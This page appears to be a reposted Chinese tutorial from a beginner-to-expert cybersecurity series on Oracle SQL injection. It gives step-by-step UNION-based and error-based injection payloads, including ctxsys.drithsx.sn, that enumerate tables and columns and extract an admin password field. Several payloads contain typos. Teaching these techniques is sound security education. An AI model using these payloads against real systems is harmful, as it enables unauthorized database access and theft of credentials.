zoukankan      html  css  js  c++  java
  • 网络安全从入门到精通(第五章-4)Oracle注入 — 报错注入

    本文内容:

    • 注入函数解析
    • oracle报错注入函数解析
    • oracle注入+联合查询[union all]
    • oracle报错注入具体流程

    1,注入函数解析:

      Dual是一个实表[也有说它是虚表],如果你直接查询它,它只显示一个X,列名为DUMMY.

      像Mysql这样的语句:select1,2,3oracle是绝对不能运行,但是又想运行怎么办,oracle就提供了一个虚表Dual。

      作用:为了满足sql这语句的结构,为了严禁的语法。

      oracle可以调用系统函数,还可以进行加减法运算。

      oracle弱化了库的概念,它以用户名作为区分,用户名=库名。

      select * from all_tables 查询所有的表

      select * from user_tables 查询出当前用户的表

      select * from all_tab_columns 查询出所有的字段

      select * from user_tab_columns 查询出当前用户的字段

      对于oracle想取第一条之后的数据可以使用:rownum=1[限制查询返回的总行数为一条]和<>不等于相结合

      用法:and 字段名<>记录[数据]

    2,oracle报错输入函数解析:

      ctxsys.drithsx.sn(user,(select banner from v$version where rownum=1))

      查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)。

      报错注入的核心:使数据库出错,然后强行丢出一个致命性的错误,这个错误信息里面的内容我们可以控制。

    3,oracle注入+联合查询[union all]

      联合查询:[判断注入点、判断字段数、判断输出点、查询表、查询数据]

      例题:elect *from aabb where  id='1'

      1.判断是否存在sql注入:

        'and 1=1 和 ' and 1=2 -- qwe

      2.判断字段数:

        'order by 1…… -- qwe

      3.判断输出点:

        ' union select null,null,null,……, from Dual -- qwe

      4.查询表:

        ' union select null,null,table_name from user_talbes  -- qwe

      5.查询字段:

        ' union select unll,null,column_name from user_tab_columns -- qwe

      6.查询数据:

        ' union select unll,null,pw from admin -- qwe

      解释:pw、admin是查询出来的字段和表。

    4,报错注入具体流程:

      1.判断是否存在sql注入:

        'and =1=1 和and 1=2 -- qwe

      2.使用报错函数,获取表名:

        'and 1 = ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))

      3.使用报错函数,获取字段名:

        'and 1= ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='admin' rownum=1)) -- qwe

      4.使用报错函数,获取数据:

        'and 1= ctxsys.drithsx.sn(1,(select upass from admin where rownum=1 and uname='xx')) -- qwe

  • 相关阅读:
    PHP腾讯地图地图接口调用提示{ "status": 110, "message": "请求来源未被授权,此次请求无来源信息" }
    PHP带参数匿名函数
    微信小程序实现图片预加载(图片延迟加载)
    快速排序
    《Linux命令行与shell脚本编程大全》第十八章 图形化桌面环境中的脚本编程
    《Linux命令行与shell脚本编程大全》第十七章 创建函数
    makefile中伪目标的理解
    《Linux命令行与shell脚本编程大全》第十六章 控制脚本
    《Linux命令行与shell脚本编程大全》第十五章 呈现数据
    《Linux命令行与shell脚本编程大全》第十四章 处理用户输入
  • 原文地址:https://www.cnblogs.com/xz25/p/12713871.html
Copyright © 2011-2022 走看看